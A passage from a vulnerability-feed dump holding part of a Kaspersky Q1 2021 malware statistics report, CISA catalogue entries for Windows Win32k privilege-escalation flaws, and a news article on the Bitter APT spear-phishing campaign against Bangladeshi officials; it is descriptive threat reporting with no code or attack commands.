in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.37% \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 12.01% \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 9.31% \n4 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 8.45% \n5 | (generic verdict) | Trojan-Ransom.Win32.Agent | 7.36% \n6 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom\n\nVirus.Win32.PolyRansom | 3.78% \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 2.93% \n8 | Stop | Trojan-Ransom.Win32.Stop | 2.79% \n9 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 2.17% \n10 | REvil/Sodinokibi | Trojan-Ransom.Win32.Sodin | 1.85% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2021, Kaspersky solutions detected 23,894 new modifications of miners. And though January and February passed off relatively calmly, March saw a sharp rise in the number of new modifications \u2014 more than fourfold compared to February.\n\n_Number of new miner modifications, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110831/06-en-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 432,171 unique users of Kaspersky products worldwide. Although this figure has been rising for three months, it is premature to talk about a reversal of last year's trend, whereby the number of users attacked by miners actually fell. For now, we can tentatively assume that the growth in cryptocurrency prices, in particular bitcoin, has attracted the attention of cybercriminals and returned miners to their toolkit.\n\n_Number of unique users attacked by miners, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111053/07-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of miner attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111128/08-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 4.65 \n2 | Ethiopia | 3.00 \n3 | Rwanda | 2.37 \n4 | Uzbekistan | 2.23 \n5 | Kazakhstan | 1.81 \n6 | Sri Lanka | 1.78 \n7 | Ukraine | 1.59 \n8 | Vietnam | 1.48 \n9 | Mozambique | 1.46 \n10 | Tanzania | 1.45 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyber attacks\n\nIn Q1 2021, we noted a drop in the share of exploits for vulnerabilities in the Microsoft Office suite, but they still lead the pack with 59%. The most common vulnerability in the suite remains [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), a stack buffer overflow that occurs when processing objects in the Equation Editor component. Exploits for [CVE-2015-2523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2523>) \u2014 use-after-free vulnerabilities in Microsoft Excel \u2014 and [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>), which we've often written about, were also in demand. Note the age of these vulnerabilities \u2014 even the latest of them was discovered almost three years ago. So, once again, we remind you of the importance of regular updates.\n\nThe first quarter was rich not only in known exploits, but also new zero-day vulnerabilities. In particular, the interest of both [infosec experts](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) and cybercriminals was piqued by vulnerabilities in the popular Microsoft Exchange Server:\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26855>)\u2014 a service-side request forgery vulnerability that allows remote code execution (RCE)\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26857>)\u2014 an insecure deserialization vulnerability in the Unified Messaging service that can lead to code execution on the server\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>)\u2014 a post-authorization arbitrary file write vulnerability in Microsoft Exchange, which could also lead to remote code execution\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-27065>)\u2014 as in the case of [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>), allows an authorized Microsoft Exchange user to write data to an arbitrary file in the system\n\nFound [in the wild](<https://encyclopedia.kaspersky.com/glossary/exploitation-in-the-wild-itw/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), these vulnerabilities were used by APT groups, including as a springboard for ransomware distribution.\n\nDuring the quarter, vulnerabilities were also identified in Windows itself. In particular, the [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1732>) vulnerability allowing privilege escalation was discovered in the Win32k subsystem. Two other vulnerabilities, [CVE-2021-1647](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1647>) and [CVE-2021-24092](<https://nvd.nist.gov/vuln/detail/CVE-2021-24092>), were found in the Microsoft Defender antivirus engine, allowing elevation of user privileges in the system and execution of potentially dangerous code.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111159/09-en-malware-report-q1-2021-pc.png>))_\n\nThe second most popular were exploits for browser vulnerabilities (26.12%); their share in Q1 grew by more than 12 p.p. Here, too, there was no doing without newcomers: for example, the Internet Explorer script engine was found to contain the [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411>) vulnerability, which can lead to remote code execution on behalf of the current user through manipulations that corrupt the heap memory. This vulnerability was exploited by the [Lazarus](<https://securelist.ru/tag/lazarus/>) group to download malicious code and infect the system. Several vulnerabilities were discovered in Google Chrome:\n\n * [CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21148>)\u2014 heap buffer overflow in the V8 script engine, leading to remote code execution\n * [CVE-2021-21166](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21166>)\u2014 overflow and unsafe reuse of an object in memory when processing audio data, also enabling remote code execution\n * [CVE-2021-21139](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21139>)\u2014 bypassing security restrictions when using an iframe.\n\nOther interesting findings include a critical vulnerability in VMware vCenter Server, [CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>), which allows remote code execution without any rights. Critical vulnerabilities in the popular SolarWinds Orion Platform \u2014 [CVE-2021-25274](<https://nvd.nist.gov/vuln/detail/CVE-2021-25274>), [CVE-2021-25275](<https://nvd.nist.gov/vuln/detail/CVE-2021-25275>) and [CVE-2021-25276](<https://nvd.nist.gov/vuln/detail/CVE-2021-25276>) \u2014 caused a major splash in the infosec environment. They gave attackers the ability to infect computers running this software, usually machines inside corporate networks and government institutions. Lastly, the [CVE-2021-21017](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21017>) vulnerability, discovered in Adobe Reader, caused a heap buffer overflow by means of a specially crafted document, giving an attacker the ability to execute code.\n\nAnalysis of network threats in Q1 2021 continued to show ongoing attempts to attack servers with a view to brute-force passwords for network services such as Microsoft SQL Server, RDP and SMB. Attacks using the popular EternalBlue, EternalRomance and other similar exploits were widespread. Among the most notable new vulnerabilities in this period were bugs in the Windows networking stack code related to handling the IPv4/IPv6 protocols: [CVE-2021-24074](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24074>), [CVE-2021-24086](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086>) and [CVE-2021-24094](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094>).\n\n## Attacks on macOS\n\nQ1 2021 was also rich in macOS-related news. Center-stage were cybercriminals who took pains to modify their [malware for the newly released MacBooks with M1 processors](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>). Updated adware for the new Macs also immediately appeared, in particular the [Pirrit family](<https://objective-see.com/blog/blog_0x62.html>) (whose members placed high in our Top 20 threats for macOS). In addition, we detected an interesting adware program written in the Rust language, and assigned it the verdict [AdWare.OSX.Convuster.a](<https://securelist.ru/convuster-macos-adware-in-rust/100859/>).\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.ac | 18.01 \n2 | AdWare.OSX.Pirrit.j | 12.69 \n3 | AdWare.OSX.Pirrit.o | 8.42 \n4 | AdWare.OSX.Bnodlero.at | 8.36 \n5 | Monitor.OSX.HistGrabber.b | 8.06 \n6 | AdWare.OSX.Pirrit.gen | 7.95 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.90 \n8 | AdWare.OSX.Cimpli.m | 6.17 \n9 | AdWare.OSX.Pirrit.aa | 6.05 \n10 | Backdoor.OSX.Agent.z | 5.27 \n11 | Trojan-Downloader.OSX.Agent.h | 5.09 \n12 | AdWare.OSX.Bnodlero.bg | 4.60 \n13 | AdWare.OSX.Ketin.h | 4.02 \n14 | AdWare.OSX.Bnodlero.bc | 3.87 \n15 | AdWare.OSX.Bnodlero.t | 3.84 \n16 | AdWare.OSX.Cimpli.l | 3.75 \n17 | Trojan-Downloader.OSX.Lador.a | 3.61 \n18 | AdWare.OSX.Cimpli.k | 3.48 \n19 | AdWare.OSX.Ketin.m | 2.98 \n20 | AdWare.OSX.Bnodlero.ay | 2.94 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nTraditionally, most of the Top 20 threats for macOS are adware programs: 15 in Q1. In the list of malicious programs, Trojan-Downloader.OSX.Shlayer.a (7.90%) maintained its popularity. Incidentally, this Trojan's task is to download adware from the Pirrit and Bnodlero families. But we also saw the reverse, when a member of the AdWare.OSX.Pirrit family dropped Backdoor.OSX.Agent.z into the system.\n\n### Threat geography\n\n_Geography of threats for macOS, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111228/10-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 4.62 \n2 | Spain | 4.43 \n3 | Italy | 4.36 \n4 | India | 4.11 \n5 | Canada | 3.59 \n6 | Mexico | 3.55 \n7 | Russia | 3.21 \n8 | Brazil | 3.18 \n9 | Great Britain | 2.96 \n10 | USA | 2.94 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000) \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q1 2021, Europe accounted for the Top 3 countries by share of attacked macOS users: France (4.62%), Spain (4.43%) and Italy (4.36%). The most common threats in all three were adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2021, most of the devices that attacked Kaspersky traps did so using the Telnet protocol. A third of the attacking devices attempted to [brute-force](<https://encyclopedia.kaspersky.com/glossary/brute-force/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) our SSH traps.\n\nTelnet | 69.48% \n---|--- \nSSH | 30.52% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 77.81% \n---|--- \nSSH | 22.19% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2021_\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111259/11-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky Telnet traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | China | 33.40 \n2 | India | 13.65 \n3 | USA | 11.56 \n4 | Russia | 4.96 \n5 | Montenegro | 4.20 \n6 | Brazil | 4.19 \n7 | Taiwan, Province of China | 2.32 \n8 | Iran | 1.85 \n9 | Egypt | 1.84 \n10 | Vietnam | 1.73 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### SSH-based attacks\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky SSH traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111335/12-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | USA | 24.09 \n2 | China | 19.89 \n3 | Hong Kong | 6.38 \n4 | South Korea | 4.37 \n5 | Germany | 4.06 \n6 | Brazil | 3.74 \n7 | Russia | 3.05 \n8 | Taiwan, Province of China | 2.80 \n9 | France | 2.59 \n10 | India | 2.36 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### Threats loaded into traps\n\n| Verdict | %* \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 50.50% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 9.26% \n3 | Backdoor.Linux.Gafgyt.a | 3.01% \n4 | HEUR:Trojan-Downloader.Shell.Agent.bc | 2.72% \n5 | Backdoor.Linux.Mirai.a | 2.72% \n6 | Backdoor.Linux.Mirai.ba | 2.67% \n7 | Backdoor.Linux.Agent.bc | 2.37% \n8 | Trojan-Downloader.Shell.Agent.p | 1.37% \n9 | Backdoor.Linux.Gafgyt.bj | 0.78% \n10 | Trojan-Downloader.Linux.Mirai.d | 0.66% \n \n_* Share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack._\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2021, Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources located across the globe. 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus.\n\n_Distribution of web attack sources by country, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111405/13-en-malware-report-q1-2021-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious objects that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 15.81 \n2 | Ukraine | 13.60 \n3 | Moldova | 13.16 \n4 | Kyrgyzstan | 11.78 \n5 | Latvia | 11.38 \n6 | Algeria | 11.16 \n7 | Russia | 11.11 \n8 | Mauritania | 11.08 \n9 | Kazakhstan | 10.62 \n10 | Tajikistan | 10.60 \n11 | Uzbekistan | 10.39 \n12 | Estonia | 10.20 \n13 | Armenia | 9.44 \n14 | Mongolia | 9.36 \n15 | France | 9.35 \n16 | Greece | 9.04 \n17 | Azerbaijan | 8.57 \n18 | Madagascar | 8.56 \n19 | Morocco | 8.55 \n20 | Lithuania | 8.53 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average, 7.67% of Internet user computers worldwide experienced at least one **Malware-class** attack.\n\n_Geography of web-based malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111435/14-en-malware-report-q1-2021-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2021, our File Anti-Virus detected **77,415,192** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Afghanistan | 47.71 \n2 | Turkmenistan | 43.39 \n3 | Ethiopia | 41.03 \n4 | Tajikistan | 38.96 \n5 | Bangladesh | 36.21 \n6 | Algeria | 35.49 \n7 | Myanmar | 35.16 \n8 | Uzbekistan | 34.95 \n9 | South Sudan | 34.17 \n10 | Benin | 34.08 \n11 | China | 33.34 \n12 | Iraq | 33.14 \n13 | Laos | 32.84 \n14 | Burkina Faso | 32.61 \n15 | Mali | 32.42 \n16 | Guinea | 32.40 \n17 | Yemen | 32.32 \n18 | Mauritania | 32.22 \n19 | Burundi | 31.68 \n20 | Sudan | 31.61 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111505/15-en-malware-report-q1-2021-pc.png>))_\n\nOverall, 15.05% of user computers globally faced at least one **Malware-class** local threat during Q1.", "cvss3": {}, "published": "2021-05-31T10:00:05", "type": "securelist", "title": "IT threat evolution Q1 2021. Non-mobile statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2015-2523", "CVE-2017-11882", "CVE-2018-0802", "CVE-2021-1647", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21139", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21972", "CVE-2021-24074", "CVE-2021-24086", "CVE-2021-24092", "CVE-2021-24094", "CVE-2021-25274", "CVE-2021-25275", "CVE-2021-25276", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-31T10:00:05", "id": "SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1", "href": "https://securelist.com/it-threat-evolution-q1-2021-non-mobile-statistics/102425/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "Microsoft Windows Win32k contains an unspecified vulnerability that allows for privilege escalation.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Win32k Privilege Escalation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28310"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-28310", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-21T17:22:44", "description": "Microsoft Win32k contains a privilege escalation vulnerability when the Win32k component fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Win32k Privilege Escalation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2019-0797", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-07-21T17:22:44", "description": "Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Win32k Privilege Escalation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-1732", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-12T02:22:45", "description": "[![](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgx6lZB3oJ9X1sLlKCznoOeSkcDGdxDDzLpQUslIFxcqcdMH_UDcAqH4PjZiqkCxL4jI-B00Zx79nco8uEEf5XiuDqkexKPHK5G1oPT3v5UXngC8t4QHYPLfIhQTOw0d5FZR2WUXYg38_ydmYOd8biQq4tgAK_UHmsEyzslVH8sLV19IMC1QE6NMR95/s728-e100/hacker-code.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgx6lZB3oJ9X1sLlKCznoOeSkcDGdxDDzLpQUslIFxcqcdMH_UDcAqH4PjZiqkCxL4jI-B00Zx79nco8uEEf5XiuDqkexKPHK5G1oPT3v5UXngC8t4QHYPLfIhQTOw0d5FZR2WUXYg38_ydmYOd8biQq4tgAK_UHmsEyzslVH8sLV19IMC1QE6NMR95/s728-e100/hacker-code.jpg>)\n\nAn espionage-focused threat actor known for targeting China, Pakistan, and Saudi Arabia has expanded to set its sights on Bangladeshi government organizations as part of an ongoing campaign that commenced in August 2021.\n\nCybersecurity firm Cisco Talos attributed the activity with moderate confidence to a hacking group dubbed the [Bitter APT](<https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat>) based on overlaps in the command-and-control (C2) infrastructure with that of prior campaigns mounted by the same actor.\n\n\"Bangladesh fits the profile we have defined for this threat actor, previously targeting Southeast Asian countries including [China](<https://www.anomali.com/blog/suspected-bitter-apt-continues-targeting-government-of-china-and-chinese-organizations>), Pakistan, and Saudi Arabia,\" Vitor Ventura, lead security researcher at Cisco Talos for EMEA and Asia, [told](<https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html>) The Hacker News.\n\n\"And now, in this latest campaign, they have widened their reach to Bangladesh. Any new country in southeast Asia being targeted by Bitter APT shouldn't be of surprise.\"\n\nBitter (aka APT-C-08 or T-APT-17) is suspected to be a South Asian hacking group motivated primarily by intelligence gathering, an operation that's facilitated by means of malware such as BitterRAT, ArtraDownloader, and AndroRAT. Prominent targets include the energy, engineering, and government sectors.\n\nThe earliest attacks distributing the mobile version of BitterRAT date back to September 2014, with the actor having a history of leveraging zero-day flaws \u2014 [CVE-2021-1732](<https://blog.cyble.com/2021/02/24/bitter-apt-enhances-its-capability-with-windows-kernel-zero-day-exploit/>) and [CVE-2021-28310](<https://thehackernews.com/2021/04/nsa-discovers-new-vulnerabilities.html>) \u2014 to its advantage and accomplishing its adversarial objectives.\n\n[![](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEje8jC-uVfJtCg-HT90ER0XL1ynji-bMSmKY4TsMgVZDJ4BUis2Ee9BqhaK1IgRgN3C39Ble5vyCaoUWCWOSw_sCPSi1K1pqxhfFDtU7-XFOlKQELXIUmacfXYgeFx_YhnGNvj-1DRRGm2mRliJTxxHv8CqVxw48P0ghcuKJ0YObfTzh23rHBy_Bz3i/s728-e100/talos.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEje8jC-uVfJtCg-HT90ER0XL1ynji-bMSmKY4TsMgVZDJ4BUis2Ee9BqhaK1IgRgN3C39Ble5vyCaoUWCWOSw_sCPSi1K1pqxhfFDtU7-XFOlKQELXIUmacfXYgeFx_YhnGNvj-1DRRGm2mRliJTxxHv8CqVxw48P0ghcuKJ0YObfTzh23rHBy_Bz3i/s728-e100/talos.jpg>)\n\nThe latest campaign, targeting an elite entity of the Bangladesh government, involves sending spear-phishing emails to high-ranking officers of the Rapid Action Battalion Unit of the Bangladesh police (RAB).\n\nAs is typically observed in other social engineering attacks of this kind, the missives are designed to lure the recipients into opening a weaponized RTF document or a Microsoft Excel spreadsheet that exploits previously known flaws in the software to deploy a new trojan dubbed \"ZxxZ.\"\n\nZxxZ, named so after a separator used by the malware when sending information back to the C2 server, is a 32-bit Windows executable compiled in Visual C++.\n\n\"The trojan masquerades as a Windows Security update service and allows the malicious actor to perform remote code execution, allowing the attacker to perform any other activities by installing other tools,\" the researchers explained.\n\nWhile the malicious RTF document exploits a memory corruption vulnerability in Microsoft Office's Equation Editor ([CVE-2017-11882](<https://thehackernews.com/2017/11/microsoft-office-rce-exploit.html>)), the Excel file abuses two remote code execution flaws, [CVE-2018-0798](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-0798>) and [CVE-2018-0802](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-0802>), to activate the infection sequence.\n\n\"Actors often change their tools to avoid detection or attribution, this is part of the lifecycle of a threat actor showing its capability and determination,\" Ventura said.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-11T12:37:00", "type": "thn", "title": "Bitter APT Hackers Add Bangladesh to Their List of Targets in South Asia", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-0798", "CVE-2018-0802", 